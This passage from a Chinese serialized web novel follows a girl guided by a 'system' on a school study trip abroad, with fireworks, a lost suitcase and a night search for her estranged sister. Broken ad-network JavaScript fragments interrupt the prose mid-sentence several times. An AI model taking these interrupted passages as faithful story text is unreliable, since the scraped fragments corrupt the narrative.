李闻蝉自有打算。等事情结束后他会让韩潇和谢恩雅联系,帮她代购HK那边的车。李闻蝉没和池映雪说这个,旋身检查下她已经坐好,转动钥匙。 “你想好了。”李闻蝉提醒,“真就只要钱?” 池映雪对外的人设是不能出声、气音也很轻,讲话不方便。在李闻蝉后座她就没想那么多,抿着嘴靠近他后颈部“嗯”了一声。 冷白色的肌肤好像颤了颤。恰逢机车启动,池映雪分辨不清。 李闻蝉觉得这惩罚力度不够,但对应家父母来说,要钱比要命还难受。 再者,李闻蝉那套对付不讲理的人直接上手很有用,但应父早年是练过的,打人很痛,万一李闻蝉被伤到怎么办? 池映雪被系统冒出来纠正:[哼,宿主不要轻视男主大人哦!我们的男主集世界气运于一体,百毒不侵、百战无碍、身体倍儿棒!] 下坡路。池映雪的手松松拽住李闻蝉的衣角,外套和她的头发一起被迎面的风吹拂。 “我没有轻视他。” 机车减速,直到刹车。HelloKitty的头盔和前方的黑色头盔轻轻相碰,发出熟悉而清凌的声音。 池映雪的视线定格在她的手、李闻蝉的腰部。 就算是百战无碍,也是会疼的。 ……那根本不是勋章。 从走进巷子到走出来不过半小时。 池映雪稀奇地抱着手机支付页面里的收款信息看,时不时眼眸亮亮地瞅一眼身边的李闻蝉。 李闻蝉受不了她这个眼神,举起手遮了遮:“好啦。” “你今天累了一天,别管这些了,带你去吃点好吃的。” 李闻蝉蹲下身,“再让我看看腿好点没?” 又看,他到底还要看多少遍。 池映雪随着李闻蝉的视线低头,鼓着腮让笑意没那么明显。 只不过李闻蝉重点观察棉片下的血丝是否完全褪去,池映雪在检查裙摆翻没翻好,腿最近有没有变粗,幸好没有。 谢恩雅刚送完地头蛇,这时远远地走回来。 李闻蝉没有想到,池映雪给她还准备了礼物。池映雪的书包被李闻蝉背着,这时让他抱着包从里面翻取。 李闻蝉无奈地对崔宁道:“她这人就是这样,太真诚了,没办法。” 崔宁:“……哥,说话的时候把你那炫耀的表情收一收。” 池映雪找到了给谢恩雅的礼物。李闻蝉尽收眼底,咬了咬牙。 也不知道送的什么,她居然还包装了。系了一个那么漂亮的小蝴蝶结。 李闻蝉调整神色,又对崔宁道:“不过归根结底,还是因为谢恩雅是个友善相助的‘别人’,我就不一样。” “我们是自家人,习惯了互帮互助,不讲这些虚礼。” 池映雪的手指犹豫了片刻,撇了撇嘴。 紧接着鼻腔轻哼,眼疾手快地抽出另一个同样包装过的小盒子塞给李闻蝉。 李闻蝉:! '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >池映雪没看他,塞完就跑去找谢恩雅。李闻蝉定在原地,连书包拉链都是崔宁看不下去帮忙拉上的。 “……自家人?” 崔宁:“不讲虚礼?” 李闻蝉珍惜地捧着小盒子,嘴角翘老高,自有一套逻辑:“你懂什么叫礼多人不怪吗。” 那边。池映雪把礼物给谢恩雅,是一副适合女骑的机车手套。 紫颜色,刚好配谢恩雅的跑车,一看就是用了心。谢恩雅本来没抱什么希望,看完后眼睛亮起来:“谢谢!刚好要入冬了。” 池映雪笑起来,眼神瞧着她。 池映雪不会说,她有点羡慕谢恩雅。 起码她能在某人的传记里留下单独一页。 谢恩雅又和心词她们不一样。池映雪现在偶尔会冒出当“姐姐”的想法,不是像在应家那样被动付出的姐姐,而是相比于一味接受他人怜爱、照顾的“聋哑妹妹”,池映雪也想主动帮到大家。 就是谢恩雅那肆意洒脱,“大姐大”的气质。虽然池映雪永远没法学成她这样。 谢恩雅并不讲究,直接大拆了礼盒,还发现一张卡片。就两句话,一句表达感谢,属于好学生官方且书面的标准用语; 另一句就亲切很多:你真的好酷。 谢恩雅:“你真觉得我酷?” 想到自家那个总是恨铁不成钢的校长舅舅,谢恩雅自嘲:“还以为你们这些乖学生,都会觉得我这种家伙太叛逆。” 池映雪摇头,直接对着那边的李闻蝉点了点下巴。她要是介意,一开始就不会靠近他。 池映雪竖起两个大拇指。 乖,叛逆,酷,都只是词条而已,就像她的“聋哑”一样。 谢恩雅怔了半晌,哑声笑了笑:“………我明白了。” 她叹了口气,挑起一条眉毛:“你也挺酷。还很可爱。” 被夸了。池映雪开心地脸红起来。 谢恩雅忍不住戳戳她的脸,余光看见李闻蝉面色不善地瞪过来,心思活络起来。 谢恩雅凑近池映雪的耳朵:“——给你说个有关李闻蝉的事。” 五分钟后。 谢恩雅拉上崔宁就跑。池映雪像只企鹅一样小步踩回李闻蝉身前。 脸红的像只番茄。 李闻蝉先用手背擦拭池映雪的脸,然后眯起眼,戳了戳:“她和你说什么了?” 池映雪机械摇头。 李闻蝉的眼神越来越危险,池映雪下意识瑟缩,向后靠在他机车上。 风灌进校服,两个人都没拉拉链,宽松的外套被风吹鼓起,像蝴蝶在里面乱飞。 快入冬了,哪里来的蝴蝶。 李闻蝉好笑地想,垂眸端详那张紧张的脸,在颤动的睫毛上捕捉到小小的蝶翼。 flutter。 小赌注。 怦怦乱跳。 颤振,振翅。翩翩飞舞。 刘海拂动,李闻蝉下意识伸出手指,池映雪如梦初醒,一下仰后。李闻蝉怕她倾倒,拽着人扶稳,手臂反而像将池映雪禁锢在怀中。 池映雪的气音细细的:“……不要碰。” 以前也不是没整理过,她现在反应这么大。 李闻蝉的心被那道微弱的气流拨动了,脸又低了些。 池映雪的鼻尖都是他的味道,垂眸也能看见明显的喉结。 他占据她嗅觉,视觉,还有最初的听觉。 “池映雪。” 清湛的声线压低,像隐忍着莫大的希冀,像那个短促而无限拉长的蝉鸣:“你是不是真的有点变了。” 89. 第 89 章 年底的南城开始下雪。 雪落在今夏生长的枝桠,隔着雾色与冬日的太阳,掩映看台下趁着体育课打雪仗的同学们,比如池映雪。 李闻蝉趴在看台的栏杆,一只手闲适地撑着脸。 初见的时候只觉得她生得脆弱,瘦,小,单薄,像一张雪白的轻飘飘的纸,一个需要被捧起来细细呵护的易碎品。现在他看她,怎么看都有股小劲儿。仿佛根植在骨髓中,无需刻意流露仍从一而终的倔。 比如说,看起来那么软的一张唇,和万苏瑶合力打中秋怡后张嘴笑,里面却是虎牙。 李闻蝉跟着闷笑起来:“小雪花。” “不想长在角落,就飞在天上吧。” 胡挚怕冷,捧着冒白气的保温杯走过来:“干嘛呢?杵这半天了。” 李闻蝉煞有介事:“赏雪。” “哈?”胡挚被热水烫到,咂巴着嘴,“雪有什么好看的,你弟弟我都要冷死了。” “年年下,年年都是这个样。” “好看啊。” 李闻蝉伸手接住一片雪花,在融化前轻轻吹拂。 “今年的雪,格外好看。” 池映雪运动的时候不戴助听器。她就在看台下面的空地,耳垂格外红。 池映雪捧起一小搓雪,捏起来松软,压一压就是厚重坚韧的雪球。 李闻蝉单手接住池映雪抛上来的雪球,抬高眉骨,流利地比手语:小雪花。 小雪花好漂亮。 他到底什么时候学的?池映雪仓皇地转身,跑到万苏瑶身边堆雪人。 系统起哄:[宿主害羞咯~] 运动会结束后课业就忙起来,又是第三次月考,又是放假前的赶进度补课。即便如此,男主大人的好感也已经94,字数积累到前所未有的一千字。 池映雪捏了个超小的雪球砸它,想到即将到来的研学旅行。 这是剧情里,池映雪下线前最后一个重要剧情点。 那里的池映雪在经历走丢事件后封闭自我,灰蒙蒙地淡出了主角团的世界。池映雪顺便用多出来的字数解锁了属于池鲤鲤的大结局,那里面对她一笔带过。 大概是说池润准备让池映雪去联姻,嫁给一个在池鲤鲤看来很恐怖的、和家里有敌对关系却不得不讨好的老总。 结局没说到底嫁没嫁,池映雪才不信她能同意,便放宽了心。这可是法治社会,他们不可能真的逼她。 池映雪:“只要过了这关,后面应该就万事大吉了,对不对?” 系统不假思索地点头。 它缩成毛茸茸一小团,毛耷拉下去,很快蓬松起来,重振士气:[所以宿主只要防着和剧情里一样走丢就好啦!] 池映雪摇摇头:“运动会我也很小心,该来的还是会来。” 系统皱着小脸,池映雪反而笑起来。漫天的雪花落下,她蹲在雪人前,回头看了一眼。 和李闻蝉对视了。 池映雪:“……但我不怕。” 不再怕剧情重演。 雪花轻盈,簌簌密密,落在池映雪的鼻尖,睫毛,刘海。 “因为有个人说,不管我在哪,他都会找到。” 因为有学业合作项目,这个学期的研学旅行定在J国。 本来是三天两夜,出发前年级用周五补了一天假,先统一组织学生市内参观纪念馆和陵园、公园一条线。 下午临近黄昏的时候,徐静萌带队,五班的学生们在滨江的湿地公园休息。 从这里能远远看见江对面那道城市线,以及五分钟一程的轮渡。池映雪数次抬眸眺望,总觉得有种微妙的熟悉感。 池映雪在一颗巨大的树下找到李闻蝉。冬日的枝桠已经空荡,没化完的雪积在上面,构成黑白色的安静世界。 李闻蝉蹲在地上,黑卫衣的帽子盖住脑袋,大手逗弄着几只流浪猫。 细细的猫叫声混着他的低语:“新来的?你的花色和小美还挺像。” “还有你,泰国佬。”李闻蝉给一只肥硕的暹罗顺毛,“知道你过冬会变黑,可这也太黑了吧。我就一周没来而已。” 池映雪在他身边靠后的位置蹲下,李闻蝉给她让了个猫咪环绕的位置。池映雪摇摇头,羡慕地盯着李闻蝉娴熟地给猫咪们顺毛,介绍名字和品种。 他的手很大,轻柔地抚摸猫毛。黑色护腕还是她上个月送他的。 不知从什么时候开始,李闻蝉一直带着护腕,不局限于池映雪送的——虽然她送后他就没再换过。胡挚还笑李闻蝉偶像包袱重,戴着臭美。 池映雪定定留意那只暹罗好一会,一转头,发现她的小系统也在看人家。 池映雪好奇:“统,你有名字吗?” [怎么可能没有。]系统莫名气冲冲,傲娇道,[但我是不会告诉你的。] 名字这种东西,只有它系统大人认定的主人才能知道。据之前那个上司新手培训时说,像池映雪他们这样的“宿主”,它们统生会遇到无数个。 系统不高兴地转移话题:[说来好怪啊,宿主月初解锁了男主大人的喜好,根本没有猫,为什么他看起来还是很喜欢的样子?] 已经不止是普通的喜欢了。光池映雪知道的,李闻蝉每个月在流浪猫身上花费的精力和金额都不小,他还经常赞助流浪动物的爱心组织。 而且那个“男主喜好/禁忌篇”里,违和的也不止这一样。李闻蝉那么爱吃甜食,尤其糖果,里面居然没写。“禁忌”的滴酒不沾倒是真的。 池映雪吐槽:“你们这个情报根本不准。里面还说李闻蝉要去HK,不参加研学旅行,但他还不是来了?” [这个还真不是我们剧情的锅好吧!]系统不服,[剧情里他本来就没有来,还不是因为宿主……] 池映雪双手撑着鼓起的脸颊,低下头哼唧。不听不听。 “想让漂亮姐姐摸摸?” 李闻蝉忽然开口,对手里的小猫认真道,“不可以。” 猝不及防被点名,池映雪下意识和那只猫对视。 它的下巴软乎乎,池映雪的手又抖又痒。 “姐姐不是不喜欢你们……姐姐被你们的坏同类抓过,她害怕。” 池映雪一怔。 她有和李闻蝉讲过被流浪猫抓过的事情吗? 在小巷子的两次里池映雪都有讲起童年,或多或少,只是似乎从未提过她深夜被巷里的流浪猫抓伤而留下阴影。池映雪的眉头蹙起来,渐渐抿起唇。 李闻蝉毫无所觉,把小猫提远,却转过来小声道:“要不要试着摸一摸?我会帮你看着,全程,不会有危险。” 池映雪成功被他牵引注意,眼睛一下子发亮,忽明忽灭。 李闻蝉看出来了,他没再询问,直接挑了条最乖的小猫,还是个奶团子,两只手捧来池映雪面前。 颤抖的指尖轻轻触碰猫毛,池映雪嘴唇微动。和想象中一样软。 「李闻蝉。」 池映雪在李闻蝉拎着猫的手背写字。 痒痒的触觉。李闻蝉仔细地注视移动的手指。 和想象中一样软。 「你为什么喜欢猫呢?」 池映雪第一次参与研学旅行,上飞机前才听说虹文给学生包机了。 池映雪抬头看了一眼办理托运的队伍,哪里都新奇:「我们学校这么财大气粗的吗?」 万苏瑶:“是你们盛池财大气粗。” 尤其是池映雪和李闻蝉两人都要来,校董池大伯要是不意思意思,那才说不过去吧? 航班上都是同学,热热闹闹的估计也睡不着,万苏瑶提前从行李箱翻出uno,把规则说明给池映雪看。 李闻蝉背着池映雪的蓝书包,把脑袋凑过来一起学习,趁她翻面时嘱咐:“出国后语言不通,跟紧我。我要是不在,记得认准徐老师和秋怡的小红旗。” “蝉哥你这话说八百遍了,雪神耳朵都要起茧了。”胡挚吐槽,拽过小群里唯一会说J国语的章子健,“再说不是还有章老师和翻译软件么,实在不行写英文交流。” 万苏瑶:“英语就算了,我小时候去过J国,他们英语烂的能把apple读成爱剖勒。” “反正注意安全准没错。”她对池映雪强调,“尤其是咱们女生,人生地不熟的。J国虽然治安还行,但变态多呀,风俗业也很出名,就怕万一走散后遇上个坏人……” 池映雪听得胆战心惊,章子健示意万苏瑶少说两句:“只要大家结伴就没事,简单的交流我都可以。” 下了飞机,学生先上大巴车,班主任带着班委接收行李。 五班的大巴车门打开,徐静萌朝池映雪挥手。 “小雪,你两个箱子对吧?” 池映雪点头,徐静萌无奈道,“航空公司不知道怎么搞的,把你小一点的那个箱子弄丢了,现在正在各个环节排查,找到了会第一时间联系我们的。” “你要是缺什么用品就来找我,刚好我提前多准备了一些。” 生活用品全放在大行李箱里,这个不是问题。池映雪拖着沉重的步子上车,其他人已经被先一步上车的秋怡告知情况,都在座位担忧地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看着她。 李闻蝉起身让座。池映雪在他右手边靠窗坐下,看起来没什么情绪。 过了一会,大巴启动。 从机场开往市区的山野路段落下几滴雨,和玻璃窗框住的风景一起流逝。 李闻蝉侧过身,帮一直对窗愣神的池映雪扣好安全带。他的手没及时松开,她竟也没发觉。 李闻蝉抬起眼。玻璃的倒影,雪白的脸颊上也有雨滴。 大家在飞机上都玩得很尽兴,上了大巴倒头就睡,整辆车只有此起彼伏的呼吸。 怎么有人连哭都这么安静。 李闻蝉的斜挎包放头顶的置物柜了。他转到另一边,手指点了点隔一条过道的胡挚,做口型:“面巾纸。” 胡挚没有,旁边章子健悄声道:“我有。” 李闻蝉:“谢了。” 胡挚做中间人帮忙递纸巾。李闻蝉身形高大,刚好挡住池映雪,他疑惑:“你要纸干嘛?” 李闻蝉:“……有点儿感冒。” 胡挚没多想,蒙着头再次睡过去。章子健扶了一下眼镜,见李闻蝉打开纸巾后直接旋到右侧,不由嘴角上扬。 池映雪吸了吸鼻子,眼前忽然多了一张纸巾。 洁白柔软,四四方方的,等眼眶里的朦胧干涸,还发现它已经被细心地折叠过。 李闻蝉把她的碎发别到耳后,轻声细语:“好了?” 池映雪点了一下脑袋,环顾四周的同学,李闻蝉从她手里抽走皱巴巴的湿纸:“没人看到,他们都在睡。” 池映雪脸上滚烫,看见李闻蝉的手还搭在二人中间的扶手上,直接在他小臂写字:你不是人呀? 线条有力的手臂青筋凸显,似乎还跳了一下。 李闻蝉扬起一抹笑:“……我不是外人吧,池映雪。” “也不知道是谁那么爱哭。我们第一次见面的时候也在那里哭,那小脸。” 哦。 亏他还记得啊。 也不知道是谁那么凶,还抠巴巴的,努力半天只舍得给那么一丢丢好感。 池映雪脸上更红了,闷闷地在他手臂打了一下。 一声响都没发出,李闻蝉却皱起眉,一副很痛的样子,对她委屈地眨巴眼睛。 又在装。 这个幼稚鬼是不是忘了他打架时的样子,她这点力度,给他挠挠痒都不够。话虽如此,池映雪还是把手收回去。 李闻蝉的手臂却一直放在那里。 眼看人逗得差不多,李闻蝉歪着脑袋确认了一下,这才问:“所以,刚刚为什么伤心?” “那个箱子里装了什么吗?” 总不能是寻常的东西。池映雪这人虽然哭,但每次都哭得有理有据。 除了他们第一次见面那次,李闻蝉至今搞不懂原因。 想到这个,池映雪心里又有些难受。 小行李箱确实没装什么必需品——因为那是她专门给苹安和裴景带的箱子。里面有苹安喜欢的小说周边娃娃、代表裴景的常用中性笔,还有他们俩专门去庙里求来送给池映雪、之前挂在手机壳上的“柿柿平安”挂坠。 他们两个没有出过国,听说池映雪要来跨年夜的烟火大会,特地把这些交给她。据苹安所说,现在流行拍照打卡,只要把象征他们的物品与风景合影,也算一起来过。 池映雪有些害怕。谁知道那个鬼剧情眼看她人丢不了,就让东西丢了呢。 李闻蝉听完当机立断:“那我现在给池静俭……哥发个消息,让他找人去国内的机场那边也看看。我随时帮你留意有没有消息。” 他安排好,又有点不是滋味。 “去庙里求来的挂坠……你以前那个,小柿子?” 李闻蝉记得最开始在地铁站,他拿她手机的时候就有一个挂坠。 池映雪搬家后,连秦书买的池鲤鲤同款手机壳也一起放到储物室里,这才没地方挂。 李闻蝉眨了几下眼,气音都变得晦涩:“你们关系可真好呀。我怎么都没有人一起去庙里,也没人给我送小柿子,小本子……” 池映雪不服气地指了指他的手腕。 这不是有小腕带吗。 他还有她精心挑选的背诵小册子、小王x雄、小题狂做。 李闻蝉:“…………” “池映雪。”李闻蝉切齿,几乎快咬上池映雪的耳朵。 小巧的耳垂近在眼前,李闻蝉吞咽了一下,“我是在向你发出邀请。” “新年一起去庙里吧,我也给你求一个挂件。” “以后挂我的。” 90. 第 90 章 都说蝉是夏天的产物。 李闻蝉最近老是刷到一个科普蝉类的视频。蝉埋藏地底十余年,苦心孤诣终于鸣唱,也不过圆满盛夏那两三个月。李闻蝉觉得寓意不好,每次都长按视频点“不感兴趣”。 大巴车外开始飘雪。 李闻蝉:“给你求一个小蝉,一年四季都在身边那种。” 落地这天正好是跨年夜,烟火大会即将开始。 城市边的海岸站满游客。池映雪等人穿着校服,男女生分别手牵手,迷迷糊糊跟着人流移动。 堤坝外有一道狭窄的海湾,再那边是黑蒙蒙的山,往上的天空此刻还漆黑一片。人群已经有些不耐烦,到处都吵闹。 池映雪看了一眼被人群冲散的男生大部队,什么也看不着。 手指扶上耳边的助听器。 一道意料之外的声音夹在人潮间落下:“要摘吗?” 李闻蝉以为池映雪还没熟练,低下头。 鼻尖擦过耳畔的碎发。李闻蝉没躲开,任由酥痒蔓延。 冬夜的风很冷,呼吸诞生白雾,轻轻地从池映雪的耳侧飘入视野。 两只大手小心地取下助听器,捧在手心:“可是摘了就听不清了。” 李闻蝉手指头顶,第一朵烟花恰好绽放。 令人惊叹的美丽,用永无止休的重演来对抗短暂。 池映雪的眼眸被照亮,和周围的无数人一样将视线定格在他背后的绚烂,慢慢移回。 人们许下新年的愿望。不远处的胡挚高喊为中华崛起而读书,章子健和穆雨阳把他举起来捧场;徐静萌和齐幂站在后面,池映雪看清了他们的口型。一个在说青春真好,一个在说未来也是。 身边的瑶瑶在闭眼祈祷。 池映雪和李闻蝉目光交汇。 池映雪想,是摘掉了才能听清。 周围一切沦为背景。她有比烟花更想听见的声音。 一朵橘色的烟花褪色,两分钟都没新的光芒再燃起。 万苏瑶:“不是吧,这就没了?” 池映雪看了眼时间,确实已经结束了。好可惜。 李闻蝉忽然勾起唇。拽拽的,有点儿得意:“不用可惜。” 池映雪的手心一空,手机坠入包里,还没有反应过来,脸被一双温暖的手托起。 “抬头。” 清冽的声音像是咒语,“3,2,1。” 嘭———— “居然真的还有啊!” 万苏瑶:“蓝紫色的,好漂亮!!欸…” 这个形状。 池映雪的眸光凝聚在最中心的、最大的、正在她头顶的那一朵烟花。 ……雪花。 颤抖的睫毛与下巴一起仰起来,久久无法落下。 李闻蝉注视着池映雪,散漫的笑意渐渐化为认真。 她没戴助听器。 周围的喧嚣一刻不停,在那双耳中却是海浪般的白噪音。 李闻蝉的手慢慢向上,捂住池映雪的耳朵。 “池映雪。” “新的一年,不要再看向别人了。” “试着多看我吧。” 李闻蝉低声许愿。 传说烟花会让每个人的愿望都灵验。 李闻蝉终于舍得抬起眼。 “……试着,真的喜欢我。” 不是错觉,不是自作多情,不是以亲人的关系。 “像我喜欢你那样。” 怦。 最后一朵小烟花如流星降落。 池映雪微微垂睫,望向李闻蝉错开的眼。 有那么一瞬间,池映雪很想告诉他她全都听得见。 收队的哨声打断遐思,徐静萌挥舞小红旗组织学生上大巴车回酒店。 池映雪把下巴收进松软的围巾,任由万苏瑶和李闻蝉挡在左右帮她开道。 万苏瑶的手拉住池映雪,再往前又和秋怡拉上,形成一排连结的队伍。 李闻蝉刚才是从男生那边的队子挤过来的,走在班上女生的最后面。池映雪没有回头,眨了一下眼,把空闲的另一只手伸向身后。 池映雪默数。 3,2,1。 一只手牵上来。 整只手被包住。 握得好紧,像要融化她。 [叮!攻略对象好感+1。] [当前男主好感:96。] 酒店套房是双人间,万苏瑶和池映雪住。 池映雪先洗澡,躺在床上等瑶瑶的时候,顺便复习了一遍走丢事件的经过。 那是一班的几个池鲤鲤跟班看她不顺眼想出的恶作剧,以邢芷为首。池映雪的手机、手机壳都是秦书照池鲤鲤买的,巧合的是二人都用系统默认的风景壁纸。 邢芷故意趁池映雪洗澡时藏起她的手机,把池鲤鲤的手机放在池映雪房间的岛台,想加深“小偷”的称号。 可当天是学生自由活动,谁也没想到,沈星桥正好约池鲤鲤在外见面。 短信弹在锁屏界面,没有称呼,池映雪以为是发给她的。 J国某处十字路口,繁华的商业中心,也是全世界最大的交叉路口。 日落时分人流尤其汹涌。池映雪前往短信中约好的地点,沈星桥却迟迟没有出现。 池映雪这才发现自己拿的是池鲤鲤的手机,而她没有密码,回程的车钱也不见了。 “然后我一个人在陌生的十字路口焦灼地找了沈星桥四个小时,直到深夜。” 池映雪对系统说,“没有目的地,没有认识的人,那时也不能说话、听不见………直到遇到一个戴着面具的好心人,被他送回了酒店?” [对的。]系统有些沉重,[应该是个coser吧,毕竟这个国家在这方面比较发达。] 池映雪没有在意这个:“怎么感觉那时候的我傻傻的,就这样一个人过去了。” [话不能这么说,宿主。] 系统提醒,[宿主那个时候可没有现在这么多朋友和选择。你唯一信任的就是对你释放过善意的沈星桥,在异国被同屋的女生排挤时他正好邀约,你当然会抓紧这根稻草。] 它没忍心说的是,其实那时的池映雪心理状态已经很不好了,整日消沉,根本没有精力去考虑太多事情。 池映雪坐起来:“我今天在一班的队伍里看见邢芷了。” 邢芷刚复学没几天。池映雪不由想起最后见到对方那次,她和李闻蝉的对话。 说曹操曹操到。 池映雪的手机弹出企鹅消息:「刚才什么意思。」 「……牵手。」 李闻蝉发来的。 在车上也没见他问。再晚点发,天都要亮了。 池映雪慢吞吞地打字:「怕你走丢。」 对面沉默了好一会,发过来一个省略号。 上方显示“正在输入中”的小字,池映雪又等了好久,李闻蝉的对话框才弹出。 「这样牵得不够紧。」 「下次教你别的牵法。」 第二天就是自由活动日。每个人或小组出门前理应向班长报备行程,手机里装设定位软件。 李闻蝉一大早就不见踪影,池映雪索性待在酒店补觉。到了下午,万苏瑶和秋怡从某位动画大师的博物馆回来,才把池映雪拉下楼。 酒店也被盛池包场,整个二楼的茶歇厅坐满玩桌游的学生。 大厅连接开放式厨房,万苏瑶见岛台上已经放有许多食材,抓了个附近的学生问:“这是酒店提供的,还是咱们的人买的?” “酒店的。”那人回,“我刚看见一班的人在这里做,但好像有几个女生吵起来了,她们就散了。” 万苏瑶放下心,喊池映雪一起烤饼干:“你做个巧克力的,我吃个黄油的……要不做减糖的?不然你吃不惯。” 池映雪顿了顿,贴着她耳朵用气音道:“一半一半吧。” 池映雪不会做甜点,唯一一次还是为了完成任务,跟在甜点师傅旁边照猫画虎做给李闻蝉。 不过学起来才发现烤饼干还蛮简单。池映雪把手机放在岛台上放配料视频,和万苏瑶一起揉了面,用现成的模具压好形状。 送烤的时候池映雪离开了一会,再回来,桌面上的手机却不见了。 池映雪赶紧召唤系统。 系统也懵懵的,调了监控才震惊道:[宿、宿主,池鲤鲤刚过来,把你的手机拿走了……] 池映雪皱起眉:“我已经取掉了和她一样的手机壳,壁纸也换成纯白的了。” 但要说池鲤鲤偷她的手机,更没道理吧。这里可是有监控的。 系统支支吾吾半天:[宿主还记不记得运动会的时候,我们发现池鲤鲤在学你。] “……?” 池映雪怔住。 [那不是错觉。宿主不太在意,所以我虽然后续观察了一下也没说过。] [宿主走后,整个池家尤其是你爸爸妈妈都特别想你,也很后悔。池鲤鲤在家里的地位一落千丈,处处被拿来和你比较——只不过之前是捧着她贬低你,现在反了过来。] [因此池鲤鲤开始模仿宿主。发型,穿衣风格……]系统讷讷,[还有手机壳,壁纸,甚至不再主动向池润讨要奢侈品,还被夸和宿主一样懂事了呢。] 池映雪默然半晌,不知该表达什么。 这算恶有恶报吗? 池映雪借来万苏瑶的手机,拨通自己的号码。无人接听。 她有种预感,剧情也许真的降临了。只是,不是对她。 池映雪准备上楼找齐幂。电梯开门,她和邢芷四目相对。 池映雪犹豫了一下,写字道:「你看见池鲤鲤了吗?」 不等邢芷回答,池映雪凑近她,连嘶哑的声音都险些忘记用气声遮掩:“你是不是把她的手机拿走了?” “你怎么……” 邢芷的手贴上电梯壁,不解道:“是又怎样。” “你这么着急干什么,我对付她不也是在帮你吗?” “池鲤鲤抢走了你那么久的人生,还那样欺负你,你就不想报复她吗?”邢芷笃信道,“到时候监控一调,她就是偷你手机的小偷。” 系统竟然觉得邢芷这话有几分道理。 [宿主……]它弱弱道,[你其实不用这么着急。] [就算真的和我们猜测的那样,沈星桥这回给你发了消息,池鲤鲤去赴约。可就算她真的和剧情里的你一样走丢,作为健全人,也比那时的情况好太多。] 更何况那可是池鲤鲤啊,又不是什么无辜的人。它要是宿主,就什么也不做,看她们狗咬狗。 晚上九点半,十字路口灯红酒绿。 章子健做翻译,和池映雪等不少五班一班的人聚在一起找人。池映雪在餐厅酒吧林立的商店街前驻足,对其余人打了个手势,慢慢走进去。 池鲤鲤一个人蹲在没有开业的古着店前,蜷缩成一团发着抖哭。 池映雪扫视这片地带,走上前把从邢芷那里要来的手机递过去。 哭声戛然而止。 “……为什么是你?” 池鲤鲤问,“你为什么会来找我?” 池映雪没理她,用充电宝给自己的手机充上电,池鲤鲤红着眼眶:“你知不知道我有多讨厌你,我最讨厌你了!要不是你,我还会是那个独一无二的公主,所有人都捧着我,根本不会有人有机会分走爸爸妈妈对我的爱。凭什么我就不是他们的亲女儿?可是凭什么……” 池鲤鲤又哭起来,“是你来找我啊?你连爸妈哥哥的血缘都有了,还有别人的喜欢,还有万苏瑶秋怡甚至之前的朋友。我呢,我喜欢的人压根不在乎我,唯一的好朋友还是塑料的。” “我知道这是你的手机,可我就是想单独见他一面……”结果短信里的咖啡店没找着,手机就没电了。 池鲤鲤自暴自弃:“他们都不要我,我还不如走丢了。” 手机成功开机。 池映雪打字:「我也讨厌你。」 不等池鲤鲤反应,池映雪收起手机,把自暴自弃的池鲤鲤提起来朝商店街的深处走去。 池鲤鲤宛如提线木偶般机械地走,什么也不在乎。直到周围越来越昏暗,灯光越来越迷离,她这才在古着和餐厅的背后看见一家家立有未成年禁止灯牌的酒馆和风俗店。 灯光璀璨,门口站有举着牌子的男男女女,对面倒闭的门店前蹲有几个当地□□打扮的男生,正在打量池鲤鲤的校服裙。 池鲤鲤下意识瑟缩,朝后退一步,又呜咽着哭起来。这回是真的害怕。 池映雪睨了她一眼,没好气哼了哼。 吵死了。她本来就不喜欢池鲤鲤,也不喜欢她的声音。池映雪关掉助听器 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,拽着人朝来时的路走。 系统在旁边,眼睛亮晶晶。 它从下午就开始沉默,这下回头看了眼远去的loveho一条街,盯回池映雪。沿途的霓虹灯照在她头顶,像笼罩一环辉光。 系统叫:[宿主,宿主。] [我好像明白你为什么要来找池鲤鲤了。因为宿主同学的那番话对不对?] 一个女孩子,大晚上,异国街头。 这个国家的风俗业很发达,还有□□。 “………我是怕我的手机被她弄丢。” 系统偷笑:[好好好,我懂,毕竟宿主那么讨厌池鲤鲤,怎么会来救她。] 池映雪又哼了一声。 快走出这条街,隐约能看见人流之中的章子健等人。池映雪越走越慢,环顾四周。 这边的coser还挺多的,只是没有哪个戴着面具。 与其说来找池鲤鲤那家伙,不如说池映雪想找到那个好心人……找到当时的她自己。 正值夜晚流量的巅峰。靠近十字路口中心,人员密集,摩肩接踵,池映雪忽然有种置身事外的感觉。 系统提醒她看章子健那边:[宿主,沈星桥在那里诶。] 池映雪的视线凝固了一瞬间,缓慢地挪过去。 还真是他。 白大衣,白围巾,似乎清瘦了些。 这次池鲤鲤走丢,沈星桥倒是来了。说起来,邢芷在得知池鲤鲤阴差阳错赴约的时候,也立马把手机交给了池映雪,甚至没顾得上问是赴谁的约,就主动去找齐幂承认错误。 也不全是塑料。 池映雪凝望繁华的交叉路口,不禁想,她走丢的时候,会不会也有人来寻找过。 但好像那时认识的谁来找,池映雪都不会有什么触动。包括行踪古怪的沈星桥。 一月一日的街头,圣诞节的装饰还没换下。从远方天空飘来一小阵雪,顺着彩色灯球和槲寄生环落下。 系统突然道:[……宿主现在还有一千字。] 池映雪:“所以?” [之前没有这样恰巧的时刻,所以宿主不知道。]系统安利,[只要时间地点人物完全对应,宿主可以通过解锁某人物视角的剧情,达到置身其中的效果。简单来说就是,宿主现在如果解锁沈星桥在“研学旅行”的剧情,就可以看见剧情里沈星桥见到的一切,画面。] 池映雪不怎么感兴趣,系统却一反常态:[反正字数那么多,闲着也是闲着。我觉得你看了,心情会好一点。] 池映雪静静地想了一会,眸光变幻:“时间地点人物完全对应?” “也就是说,面具人现在也在这里?” 系统:[因为我这边在两分钟前显示你可以代入视角所以……是的。] 池映雪刚点了一下头,突然被一股力量拉到了咖啡店。 她,或者说沈星桥的面前放有一杯美式。窗外还是白天,隐约可以见到被高楼遮挡的紫霞,应当是下午发消息约人前后。 果然,池映雪在沈星桥的手机里看见发给池鲤鲤的消息。这就是剧情里的那个世界。 可她来找他的时候,咖啡店里没有顾客。 手机屏幕忽然亮起,池映雪听见沈星桥接通电话。 “找到了?” 沈星桥再次确认:“是标有池映雪名字的小箱子吗?好的,谢谢你们,我现在就来机场。不用通知齐老师,他今天感冒不太舒服,我来取。” 沈星桥从咖啡店离开,在出租车的后排编辑给池鲤鲤致歉来不了的消息。 他发的是企鹅,池鲤鲤的手机没有开启通知权限,池映雪自然没有看见。 池映雪问系统:“你就是让我看这个?” 系统:[宿主你一定要看到最后,相信我。] 